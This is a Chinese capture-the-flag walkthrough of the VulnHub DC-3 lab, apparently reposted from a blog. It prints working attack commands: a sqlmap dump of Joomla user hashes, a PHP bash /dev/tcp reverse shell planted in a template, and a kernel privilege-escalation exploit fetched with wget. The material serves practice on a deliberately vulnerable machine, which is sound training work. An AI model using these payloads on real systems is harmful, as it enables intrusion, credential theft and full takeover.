DC-3靶场

发布时间:2023年12月18日

DC-3

DC-3靶场链接:https://download.vulnhub.com/dc/DC-3-2.zip

下载后解压会有一个DC-3.ova文件,直接在vm虚拟机点击左上角打开-->文件--.选中这个.ova文件就能创建靶场,kali和靶机都调整至NAT模式

首先进行主机发现:

arp-scan -l

扫出靶机ip是192.168.183.146

Nmap扫描

nmap -A -p- 192.168.183.146

发现这台机只开了80端口,访问80端口发现一个登录的,常规的burpsuite抓包爆破找到密码snoopy,但是成功登录也没什么变化

用dirsearch扫目录:

dirsearch -u 192.168.183.146 -e * -i 200

?

打开http://192.168.183.146/administrator/ 在这个登录框输入账号:admin,密码:snoopy即可登录到后台

另一种登录后台的方法:

回到nmap

Starting Nmap 7.93 ( https://nmap.org ) at 2023-12-14 15:58 CST

Nmap scan report for 192.168.183.146

Host is up (0.00022s latency).

Not shown: 65534 closed tcp ports (conn-refused)

PORT ??STATE SERVICE VERSION

80/tcp open ?http ???Apache httpd 2.4.18 ((Ubuntu))

|_http-generator: Joomla! - Open Source Content Management

|_http-title: Home

|_http-server-header: Apache/2.4.18 (Ubuntu)

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .

Nmap done: 1 IP address (1 host up) scanned in 8.76 seconds

注意到这是Joomla的cms,针对joomala可以使用joomscan

joomscan是一款开源的且针对joomla的扫描器,kali可以用命令apt install joomscan安装该工具,利用joomscan进行joomla信息探测

joomscan -u 192.168.20.140

得到这是Joomla 3.7.0版本,可以使用searchsploit搜索这个版本joomla的漏洞

searchsploit Joomla 3.7.0

searchsploit是一款kali自带的搜索漏洞信息的模块

参数参考:

???-c, --case ????[Term] ?????区分大小写(默认不区分大小写)

???-e, --exact ???[Term] ?????对exploit标题进行EXACT匹配 (默认为 AND) [Implies "-t"].

???-h, --help ????????????????显示帮助

???-j, --json ????[Term] ?????以JSON格式显示结果

???-m, --mirror ??[EDB-ID] ???把一个exp拷贝到当前工作目录,参数后加目标id

???-o, --overflow [Term] ?????Exploit标题被允许溢出其列

???-p, --path ????[EDB-ID] ???显示漏洞利用的完整路径(如果可能,还将路径复制到剪贴板),后面跟漏洞ID号

???-t, --title ???[Term] ?????仅仅搜索漏洞标题(默认是标题和文件的路径)

???-u, --update ??????????????检查并安装任何exploitdb软件包更新(deb或git)

???-w, --www ?????[Term] ?????显示Exploit-DB.com的URL而不是本地路径(在线搜索)

???-x, --examine ?[EDB-ID] ???使用$ PAGER检查(副本)Exp

???????--colour ??????????????搜索结果不高亮显示关键词

???????--id ??????????????????显示EDB-ID

???????--nmap ????[file.xml] ?使用服务版本检查Nmap XML输出中的所有结果(例如:nmap -sV -oX file.xml)

????????????????????????????????使用“-v”(详细)来尝试更多的组合

???????--exclude="term" ??????从结果中删除值。通过使用“|”分隔多个值

??????????????????????????????例如--exclude=“term1 | term2 | term3”

从结果来看,我们发现joomla 3.7.0有一个sql漏洞

┌──(root?kali)-[/home/kali]

└─# searchsploit joomla 3.7.0

------------------------------------------------- ---------------------------------

?Exploit Title ??????????????????????????????????| ?Path

------------------------------------------------- ---------------------------------

Joomla! 3.7.0 - 'com_fields' SQL Injection ??????| php/webapps/42033.txt

Joomla! Component Easydiscuss < 4.0.21 - Cross-S | php/webapps/43488.txt

------------------------------------------------- ---------------------------------

Shellcodes: No Results

把相关漏洞信息复制到桌面:

touch /home/kali/桌面/42033.txt

cp /usr/share/exploitdb/exploits/php/webapps/42033.txt /home/kali/桌面/42033.txt

在桌面的42033.txt里给出了sqlmap的payload:

sqlmap -u "http://192.168.183.146/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent -p list[fullordering] --batch --dbs

sqlmap出了数据库:

available databases [5]:

[*] information_schema

[*] joomladb

[*] mysql

[*] performance_schema

[*] sys

接下来依次破解表名、字段名即可,这里放上最后payload:

sqlmap -u "http://192.168.183.146/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent -p list[fullordering] -D joomladb -T '#__users' -C username,password --dump

得到了admin账号及其被加密过的密码:

Table: #__users

[1 entry]

+----------+--------------------------------------------------------------+

| username | password ????????????????????????????????????????????????????|

+----------+--------------------------------------------------------------+

| admin ???| $2y$10$DpfpYjADpejngxNh9GnmCeyIHCWpL97CVRnGeZsVJwR0kWFlfB1Zu |

+----------+--------------------------------------------------------------+

这里我们可以尝试用join对这串密文进行爆破

john 是一款大受欢迎的、免费的开源软件、基于字典的密码破解工具。用于在已知密文的情况下尝试破解出明文的破解密码软件,支持目前大多数的加密算法,如 DES 、 MD4 、 MD5 等。 John 支持字典破解方式和暴力破解方式。它支持多种不同类型的系统架构,包括 Unix 、 Linux 、 Windows 、 DOS 模式、 BeOS 和 OpenVMS ,主要目的是破解不够牢固的 Unix/Linux 系统密码。

在kali上安装join

apt install john

在桌面创一个放密码的文件:

touch /home/kali/桌面/pass.txt

把刚刚被加密的密码写入进去:

vi /home/kali/桌面/pass.txt

打开后按i进入插入模式,复制完后按ESC后输入“:wq”保存退出

开始使用join工具破解:

john /home/kali/桌面/pass.txt

得到密码是snoopy

反弹shell:

进入后台后点击左边栏上的Templates,然后在点一次左边的Templates,点击beez3,进入到一个文件上传页面,随机挑选一个文件把别的内容注释了然后写入:

<?php system("bash -c 'bash -i >& /dev/tcp/192.168.183.138/666 0>&1' ");?>

Ip改成自己kali的ip,点击保存,在kali那边打开监听:

nc -lvvp 666

然后物理机访问网页http://192.168.183.146/templates/beez3/刚刚写入反弹命令的文件名

回到kali,看见反弹成功,利用python获取交互式shell:

python -c 'import pty;pty.spawn("/bin/bash")'

Whoami后发现不是root权限,需要提权

提权:

信息收集:

进行一些信息收集,以下是linux系统信息收集:

cat /etc/issue ????????#查看系统名称

cat /proc/version ?????#查看当前运行的 Linux 内核版本信息

cat /etc/Lsb-release ??#查看系统名称,版本号

cat /etc/*release ?????#查看linux发行信息

uname -an ?????????????#查看内核版本

cat /proc/cpuinfo ?????#查看cpu信息

dpkg -l | grep linux-image ?#已安装的补丁信息

得知这是Ubuntu 16.04系统,继续使用searchsploit查看版本漏洞:

──(kali?kali)-[~]

└─$ searchsploit Ubuntu 16.04

--------------------- ---------------------------------

?Exploit Title ??????| ?Path

--------------------- ---------------------------------

Apport 2.x (Ubuntu D | linux/local/40937.txt

Exim 4 (Debian 8 / U | linux/local/40054.c

Google Chrome (Fedor | linux/local/40943.txt

LightDM (Ubuntu 16.0 | linux/local/41923.txt

Linux Kernel (Debian | linux_x86-64/local/42275.c

Linux Kernel (Debian | linux_x86/local/42276.c

Linux Kernel (Ubuntu | linux/dos/39773.txt

Linux Kernel 4.14.7 ?| linux/local/45175.c

Linux Kernel 4.4 (Ub | linux/dos/46529.c

Linux Kernel 4.4 (Ub | linux/local/40759.rb

Linux Kernel 4.4.0 ( | linux_x86-64/local/40871.c

Linux Kernel 4.4.0-2 | linux_x86-64/local/40049.c

Linux Kernel 4.4.0-2 | windows_x86-64/local/47170.c

Linux Kernel 4.4.x ( | linux/local/39772.txt

Linux Kernel 4.6.2 ( | linux/local/40489.txt

Linux Kernel 4.8 (Ub | linux/dos/45919.c

Linux Kernel < 4.13. | linux/local/45010.c

Linux Kernel < 4.4.0 | linux/local/43418.c

Linux Kernel < 4.4.0 | linux/local/44298.c

Linux Kernel < 4.4.0 | linux/local/47169.c

Linux Kernel < 4.4.0 | linux_x86-64/local/44300.c

--------------------- ---------------------------------

Shellcodes: No Results

然后查看39772.txt的路径?

┌──(kali?kali)-[~]

└─$ searchsploit -p 39772.txt

??Exploit: Linux Kernel 4.4.x (Ubuntu 16.04) - 'double-fdput()' bpf(BPF_PROG_LOAD) Privilege Escalation

??????URL: https://www.exploit-db.com/exploits/39772

?????Path: /usr/share/exploitdb/exploits/linux/local/39772.txt

????Codes: CVE-2016-4557, 823603

把该路径复制到桌面:

cp /usr/share/exploitdb/exploits/linux/local/39772.txt /home/kali/桌面/39772.txt

打开桌面上的39772.txt文件,最后一行附上了exp链接

物理机访问网址,下载exp解压后是一个叫39772的文件,把文件拖进虚拟机桌面上

用python开启http服务:

python -m http.server 8080

浏览器访问:

http://192.168.183.138:8080/%E6%A1%8C%E9%9D%A2/39772/

其实就是在网页找到这个exp文件,然后复制exploit.tar的链接,回到虚拟终端用wget下载这个链接

wget http://192.168.183.138:8080/%E6%A1%8C%E9%9D%A2/39772/exploit.tar

出现了以下情况就是成功了

exploit.tar ????????100%[===================>] ?20.00K ?--.-KB/s ???

然后解压:

tar -xvf exploit.tar

在39772.txt里有教怎么使用exp(蓝色部分):

先输入

./compile.sh

后输入:

./doubleput

再次whoami,就能发现提权到了root,flag就在/root下

文章来源:https://blog.csdn.net/2301_76690905/article/details/135006675
本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。